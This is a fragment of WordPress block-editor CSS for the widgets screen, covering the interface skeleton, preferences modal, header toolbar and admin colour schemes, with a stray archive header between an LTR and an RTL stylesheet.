2.5rem}.interface-preferences-modal__section:last-child{margin:0}.interface-preferences-modal__section-legend{margin-bottom:8px}.interface-preferences-modal__section-title{font-size:.9rem;font-weight:600;margin-top:0}.interface-preferences-modal__section-description{color:#757575;font-size:12px;font-style:normal;margin:-8px 0 8px}.interface-preferences-modal__option+.interface-preferences-modal__option{margin-top:16px}.interface-preferences-modal__option .components-base-control__help{margin-left:48px;margin-top:0}.wp-block[data-type="core/widget-area"]{margin-left:auto;margin-right:auto;max-width:700px}.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title{background:#fff;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;height:48px;margin:0;position:relative;transform:translateZ(0);z-index:1}.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title:hover{background:#fff}.wp-block[data-type="core/widget-area"] .block-list-appender.wp-block{position:relative;width:auto}.wp-block[data-type="core/widget-area"] .editor-styles-wrapper .wp-block.wp-block.wp-block.wp-block.wp-block{max-width:100%}.wp-block[data-type="core/widget-area"] .components-panel__body.is-opened{padding:0}.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper{margin:0;padding:0}.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper>.block-editor-block-list__layout{margin-top:-48px;min-height:32px;padding:72px 16px 16px}.wp-block-widget-area__highlight-drop-zone{outline:var(--wp-admin-border-width-focus) solid var(--wp-admin-theme-color)}body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title,body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title *{pointer-events:none}.edit-widgets-error-boundary{box-shadow:0 .7px 1px rgba(0,0,0,.15),0 2.7px 3.8px -.2px rgba(0,0,0,.15),0 5.5px 7.8px -.3px rgba(0,0,0,.15),.1px 11.5px 16.4px -.5px rgba(0,0,0,.15);margin:60px auto auto;max-width:780px;padding:20px}.edit-widgets-header{align-items:center;background:#fff;display:flex;height:60px;justify-content:space-between;overflow:auto}@media (min-width:600px){.edit-widgets-header{overflow:visible}}.edit-widgets-header__navigable-toolbar-wrapper{align-items:center;display:flex;justify-content:center;padding-left:16px}.edit-widgets-header__title{font-size:20px;margin:0 20px 0 0;padding:0}.edit-widgets-header__actions{align-items:center;display:flex;gap:4px;padding-right:16px}@media (min-width:600px){.edit-widgets-header__actions{gap:8px}}.edit-widgets-header-toolbar{border:none}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon{height:36px;min-width:36px;padding:6px}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon.is-pressed,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon.is-pressed{background:#1e1e1e}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:focus:not(:disabled),.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:before,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:before{display:none}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{padding-left:8px;padding-right:8px}@media (min-width:600px){.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{padding-left:12px;padding-right:12px}}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle:after{content:none}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}@media (prefers-reduced-motion:reduce){.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{transition-delay:0s;transition-duration:0s}}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle.is-pressed svg{transform:rotate(45deg)}.edit-widgets-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-widgets-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-widgets-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.edit-widgets-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-widgets-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-widgets-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 0 0 1rem;text-align:right}.edit-widgets-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 0 0 .2rem}.components-panel__header.edit-widgets-sidebar__panel-tabs{border-top:0;justify-content:flex-start;margin-top:0;padding-left:0;padding-right:4px}.components-panel__header.edit-widgets-sidebar__panel-tabs ul{display:flex}.components-panel__header.edit-widgets-sidebar__panel-tabs li{margin:0}.components-panel__header.edit-widgets-sidebar__panel-tabs .components-button.has-icon{display:none;margin-left:auto}@media (min-width:782px){.components-panel__header.edit-widgets-sidebar__panel-tabs .components-button.has-icon{display:flex}}.components-button.edit-widgets-sidebar__panel-tab{background:transparent;border:none;border-radius:0;box-shadow:none;cursor:pointer;font-weight:500;height:48px;margin-left:0;padding:3px 16px;position:relative}.components-button.edit-widgets-sidebar__panel-tab:focus:not(:disabled){box-shadow:none;outline:none;position:relative}.components-button.edit-widgets-sidebar__panel-tab:after{background:var(--wp-admin-theme-color);border-radius:0;bottom:0;content:"";height:calc(var(--wp-admin-border-width-focus)*0);left:0;pointer-events:none;position:absolute;right:0;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.components-button.edit-widgets-sidebar__panel-tab:after{transition-delay:0s;transition-duration:0s}}.components-button.edit-widgets-sidebar__panel-tab.is-active:after{height:calc(var(--wp-admin-border-width-focus)*1);outline:2px solid transparent;outline-offset:-1px}.components-button.edit-widgets-sidebar__panel-tab:before{border-radius:2px;bottom:12px;box-shadow:0 0 0 0 transparent;content:"";left:12px;pointer-events:none;position:absolute;right:12px;top:12px;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.components-button.edit-widgets-sidebar__panel-tab:before{transition-delay:0s;transition-duration:0s}}.components-button.edit-widgets-sidebar__panel-tab:focus-visible:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.edit-widgets-widget-areas__top-container{display:flex;padding:16px}.edit-widgets-widget-areas__top-container .block-editor-block-icon{margin-right:16px}.edit-widgets-notices__snackbar{bottom:20px;left:0;padding-left:16px;padding-right:16px;position:fixed;right:0}@media (min-width:783px){.edit-widgets-notices__snackbar{left:160px}}@media (min-width:783px){.auto-fold .edit-widgets-notices__snackbar{left:36px}}@media (min-width:961px){.auto-fold .edit-widgets-notices__snackbar{left:160px}}.folded .edit-widgets-notices__snackbar{left:0}@media (min-width:783px){.folded .edit-widgets-notices__snackbar{left:36px}}body.is-fullscreen-mode .edit-widgets-notices__snackbar{left:0!important}.edit-widgets-notices__dismissible .components-notice,.edit-widgets-notices__pinned .components-notice{border-bottom:1px solid rgba(0,0,0,.2);box-sizing:border-box;margin:0;min-height:60px;padding:0 12px}.edit-widgets-notices__dismissible .components-notice .components-notice__dismiss,.edit-widgets-notices__pinned .components-notice .components-notice__dismiss{margin-top:12px}.edit-widgets-layout__inserter-panel{display:flex;flex-direction:column;height:100%}.edit-widgets-layout__inserter-panel .block-editor-inserter__menu{overflow:hidden}.edit-widgets-layout__inserter-panel-header{display:flex;justify-content:flex-end;padding-right:8px;padding-top:8px}.edit-widgets-layout__inserter-panel-content{height:calc(100% - 44px)}@media (min-width:782px){.edit-widgets-layout__inserter-panel-content{height:100%}}@media (min-width:782px){.blocks-widgets-container .interface-interface-skeleton__header:not(:focus-within){z-index:19}}.edit-widgets-welcome-guide{width:312px}.edit-widgets-welcome-guide__image{background:#00a0d2;margin:0 0 16px}.edit-widgets-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-widgets-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-widgets-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 24px;padding:0 32px}.edit-widgets-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-widgets-block-editor{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;position:relative}.edit-widgets-block-editor,.edit-widgets-block-editor .block-editor-writing-flow,.edit-widgets-block-editor>div:last-of-type{display:flex;flex-direction:column;flex-grow:1}.edit-widgets-block-editor .edit-widgets-main-block-list{height:100%}.edit-widgets-block-editor .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.edit-widgets-block-editor .components-button.has-icon,.edit-widgets-block-editor .components-button.is-tertiary{padding:6px}.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{left:0}@media (min-width:783px){.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{left:160px}}@media (min-width:783px){.auto-fold .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{left:36px}}@media (min-width:961px){.auto-fold .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{left:160px}}.folded .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{left:0}@media (min-width:783px){.folded .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{left:36px}}body.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{left:0!important}.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{display:block;position:sticky;top:0;width:100%;z-index:31}@media (min-width:782px){.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{align-items:center;border-bottom:none;display:flex;height:60px;margin-left:180px;min-height:auto;position:fixed;top:32px;width:calc(100% - 180px)}.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed:empty{width:auto}.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{margin-left:240px;top:0}.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed:empty{width:auto}.show-icon-labels .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{margin-left:80px;width:calc(100% - 140px)}.is-fullscreen-mode .show-icon-labels .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{margin-left:144px}.blocks-widgets-container .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{margin-left:153.6px}.blocks-widgets-container .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed{margin-left:268.8px}}@media (min-width:960px){.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed,.show-icon-labels .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{width:auto}.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{width:calc(100% - 536px)}}.edit-widgets-editor__list-view-panel{display:flex;flex-direction:column;height:100%;min-width:350px}.edit-widgets-editor__list-view-panel-content{height:calc(100% - 44px);overflow-y:auto;padding:8px}.edit-widgets-editor__list-view-panel-header{align-items:center;border-bottom:1px solid #ddd;display:flex;height:48px;justify-content:space-between;padding-left:16px;padding-right:4px}body.js.appearance_page_gutenberg-widgets,body.js.widgets-php{background:#fff}body.js.appearance_page_gutenberg-widgets #wpcontent,body.js.widgets-php #wpcontent{padding-left:0}body.js.appearance_page_gutenberg-widgets #wpbody-content,body.js.widgets-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-widgets #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.appearance_page_gutenberg-widgets #wpfooter,body.js.widgets-php #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.widgets-php #wpfooter{display:none}body.js.appearance_page_gutenberg-widgets .a11y-speak-region,body.js.widgets-php .a11y-speak-region{left:-1px;top:-1px}body.js.appearance_page_gutenberg-widgets ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-widgets ul#adminmenu>li.current>a.current:after,body.js.widgets-php ul#adminmenu a.wp-has-current-submenu:after,body.js.widgets-php ul#adminmenu>li.current>a.current:after{border-right-color:#fff}body.js.appearance_page_gutenberg-widgets .media-frame select.attachment-filters:last-of-type,body.js.widgets-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}.blocks-widgets-container,.components-modal__frame{box-sizing:border-box}.blocks-widgets-container *,.blocks-widgets-container :after,.blocks-widgets-container :before,.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before{box-sizing:inherit}@media (min-width:600px){.blocks-widgets-container{bottom:0;left:0;min-height:calc(100vh - 46px);position:absolute;right:0;top:0}}@media (min-width:782px){.blocks-widgets-container{min-height:calc(100vh - 32px)}}.blocks-widgets-container .interface-interface-skeleton__content{background-color:#f0f0f0}.blocks-widgets-container .editor-styles-wrapper{margin:auto;max-width:700px}.edit-widgets-sidebar .components-button.interface-complementary-area__pin-unpin-item{display:none}.js .widgets-php .notice{display:none!important}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}css/dist/edit-widgets/style-rtl.css000064400000074400151202620300013335 0ustar00:root{ --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } .components-panel__header.interface-complementary-area-header__small{ background:#fff; padding-left:4px; } .components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{ overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:100%; } @media (min-width:782px){ .components-panel__header.interface-complementary-area-header__small{ display:none; } } .interface-complementary-area-header{ background:#fff; padding-left:4px; } .interface-complementary-area-header .components-button.has-icon{ display:none; margin-right:auto; } .interface-complementary-area-header .components-button.has-icon~.components-button{ margin-right:0; } @media (min-width:782px){ .interface-complementary-area-header .components-button.has-icon{ display:flex; } .components-panel__header+.interface-complementary-area-header{ margin-top:0; } } .interface-complementary-area{ background:#fff; color:#1e1e1e; } @media (min-width:600px){ .interface-complementary-area{ -webkit-overflow-scrolling:touch; } } @media (min-width:782px){ .interface-complementary-area{ width:280px; } } .interface-complementary-area .components-panel{ border:none; position:relative; z-index:0; } .interface-complementary-area .components-panel__header{ position:sticky; top:0; z-index:1; } .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{ top:48px; } @media (min-width:782px){ .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{ top:0; } } .interface-complementary-area p:not(.components-base-control__help){ margin-top:0; } .interface-complementary-area h2{ color:#1e1e1e; font-size:13px; margin-bottom:1.5em; } .interface-complementary-area h3{ color:#1e1e1e; font-size:11px; font-weight:500; margin-bottom:1.5em; text-transform:uppercase; } .interface-complementary-area hr{ border-bottom:1px solid #f0f0f0; border-top:none; margin:1.5em 0; } .interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{ box-shadow:none; margin-bottom:1.5em; } .interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{ margin-bottom:0; } .interface-complementary-area .block-editor-skip-to-selected-block:focus{ bottom:10px; left:10px; right:auto; top:auto; } @media (min-width:782px){ body.js.is-fullscreen-mode{ height:calc(100% + 32px); margin-top:-32px; } body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{ display:none; } body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{ margin-right:0; } } html.interface-interface-skeleton__html-container{ position:fixed; width:100%; } @media (min-width:782px){ html.interface-interface-skeleton__html-container{ position:static; width:auto; } } .interface-interface-skeleton{ bottom:0; display:flex; flex-direction:row; height:auto; left:0; max-height:100%; position:fixed; top:46px; } @media (min-width:783px){ .interface-interface-skeleton{ top:32px; } .is-fullscreen-mode .interface-interface-skeleton{ top:0; } } .interface-interface-skeleton__editor{ display:flex; flex:0 1 100%; flex-direction:column; overflow:hidden; } .interface-interface-skeleton{ right:0; } @media (min-width:783px){ .interface-interface-skeleton{ right:160px; } } @media (min-width:783px){ .auto-fold .interface-interface-skeleton{ right:36px; } } @media (min-width:961px){ .auto-fold .interface-interface-skeleton{ right:160px; } } .folded .interface-interface-skeleton{ right:0; } @media (min-width:783px){ .folded .interface-interface-skeleton{ right:36px; } } body.is-fullscreen-mode .interface-interface-skeleton{ right:0 !important; } .interface-interface-skeleton__body{ display:flex; flex-grow:1; overflow:auto; overscroll-behavior-y:none; } @media (min-width:782px){ .has-footer .interface-interface-skeleton__body{ padding-bottom:25px; } } .interface-interface-skeleton__content{ display:flex; flex-direction:column; flex-grow:1; overflow:auto; z-index:20; } @media (min-width:782px){ .interface-interface-skeleton__content{ z-index:auto; } } .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{ background:#fff; bottom:0; color:#1e1e1e; flex-shrink:0; left:0; position:absolute; right:0; top:0; z-index:100000; } @media (min-width:782px){ .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{ position:relative !important; width:auto; } .is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{ z-index:90; } } .interface-interface-skeleton__sidebar{ overflow:auto; } @media (min-width:782px){ .interface-interface-skeleton__sidebar{ border-right:1px solid #e0e0e0; } .interface-interface-skeleton__secondary-sidebar{ border-left:1px solid #e0e0e0; } } .interface-interface-skeleton__header{ border-bottom:1px solid #e0e0e0; color:#1e1e1e; flex-shrink:0; height:auto; z-index:30; } .interface-interface-skeleton__footer{ background-color:#fff; border-top:1px solid #e0e0e0; bottom:0; color:#1e1e1e; display:none; flex-shrink:0; height:auto; position:absolute; right:0; width:100%; z-index:90; } @media (min-width:782px){ .interface-interface-skeleton__footer{ display:flex; } } .interface-interface-skeleton__footer .block-editor-block-breadcrumb{ align-items:center; background:#fff; display:flex; font-size:13px; height:24px; padding:0 18px; z-index:30; } .interface-interface-skeleton__actions{ background:#fff; bottom:auto; color:#1e1e1e; left:0; position:fixed !important; right:auto; top:-9999em; width:100vw; z-index:100000; } @media (min-width:782px){ .interface-interface-skeleton__actions{ width:280px; } } .interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{ bottom:0; top:auto; } .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{ top:46px; } @media (min-width:782px){ .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{ border-right:1px solid #ddd; top:32px; } .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{ top:0; } } .interface-more-menu-dropdown{ margin-right:-4px; } .interface-more-menu-dropdown .components-button{ padding:0 2px; width:auto; } @media (min-width:600px){ .interface-more-menu-dropdown{ margin-right:0; } .interface-more-menu-dropdown .components-button{ padding:0 4px; } } .interface-more-menu-dropdown__content .components-popover__content{ min-width:280px; } @media (min-width:480px){ .interface-more-menu-dropdown__content .components-popover__content{ max-width:480px; } } .interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{ padding:0; } .components-popover.interface-more-menu-dropdown__content{ z-index:99998; } .interface-pinned-items{ display:flex; gap:4px; margin-left:-4px; } .interface-pinned-items .components-button{ display:none; margin:0; } .interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{ display:flex; } .interface-pinned-items .components-button svg{ max-height:24px; max-width:24px; } @media (min-width:600px){ .interface-pinned-items .components-button{ display:flex; } .interface-preferences-modal{ height:calc(100% - 120px); width:calc(100% - 32px); } } @media (min-width:782px){ .interface-preferences-modal{ width:750px; } } @media (min-width:960px){ .interface-preferences-modal{ height:70%; } } @media (max-width:781px){ .interface-preferences-modal .components-modal__content{ padding:0; } } .interface-preferences__tabs .components-tab-panel__tabs{ position:absolute; right:16px; top:84px; width:160px; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item{ border-radius:2px; font-weight:400; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active{ background:#f0f0f0; box-shadow:none; font-weight:500; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active:after{ content:none; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus:not(:disabled){ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:2px solid transparent; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus-visible:before{ content:none; } .interface-preferences__tabs .components-tab-panel__tab-content{ margin-right:160px; padding-right:24px; } @media (max-width:781px){ .interface-preferences__provider{ height:100%; } } .interface-preferences-modal__section{ margin:0 0 2.5rem; } .interface-preferences-modal__section:last-child{ margin:0; } .interface-preferences-modal__section-legend{ margin-bottom:8px; } .interface-preferences-modal__section-title{ font-size:.9rem; font-weight:600; margin-top:0; } .interface-preferences-modal__section-description{ color:#757575; font-size:12px; font-style:normal; margin:-8px 0 8px; } .interface-preferences-modal__option+.interface-preferences-modal__option{ margin-top:16px; } .interface-preferences-modal__option .components-base-control__help{ margin-right:48px; margin-top:0; } .wp-block[data-type="core/widget-area"]{ margin-left:auto; margin-right:auto; max-width:700px; } .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title{ background:#fff; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; height:48px; margin:0; position:relative; transform:translateZ(0); z-index:1; } .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title:hover{ background:#fff; } .wp-block[data-type="core/widget-area"] .block-list-appender.wp-block{ position:relative; width:auto; } .wp-block[data-type="core/widget-area"] .editor-styles-wrapper .wp-block.wp-block.wp-block.wp-block.wp-block{ max-width:100%; } .wp-block[data-type="core/widget-area"] .components-panel__body.is-opened{ padding:0; } .blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper{ margin:0; padding:0; } .blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper>.block-editor-block-list__layout{ margin-top:-48px; min-height:32px; padding:72px 16px 16px; } .wp-block-widget-area__highlight-drop-zone{ outline:var(--wp-admin-border-width-focus) solid var(--wp-admin-theme-color); } body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title,body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title *{ pointer-events:none; } .edit-widgets-error-boundary{ box-shadow:0 .7px 1px rgba(0,0,0,.15),0 2.7px 3.8px -.2px rgba(0,0,0,.15),0 5.5px 7.8px -.3px rgba(0,0,0,.15),-.1px 11.5px 16.4px -.5px rgba(0,0,0,.15); margin:60px auto auto; max-width:780px; padding:20px; } .edit-widgets-header{ align-items:center; background:#fff; display:flex; height:60px; justify-content:space-between; overflow:auto; } @media (min-width:600px){ .edit-widgets-header{ overflow:visible; } } .edit-widgets-header__navigable-toolbar-wrapper{ align-items:center; display:flex; justify-content:center; padding-right:16px; } .edit-widgets-header__title{ font-size:20px; margin:0 0 0 20px; padding:0; } .edit-widgets-header__actions{ align-items:center; display:flex; gap:4px; padding-left:16px; } @media (min-width:600px){ .edit-widgets-header__actions{ gap:8px; } } .edit-widgets-header-toolbar{ border:none; } .edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon{ height:36px; min-width:36px; padding:6px; } .edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon.is-pressed,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon.is-pressed{ background:#1e1e1e; } .edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:focus:not(:disabled),.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:focus:not(:disabled){ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff; outline:1px solid transparent; } .edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:before,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:before{ display:none; } .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{ padding-left:8px; padding-right:8px; } @media (min-width:600px){ .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{ padding-left:12px; padding-right:12px; } } .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle:after{ content:none; } 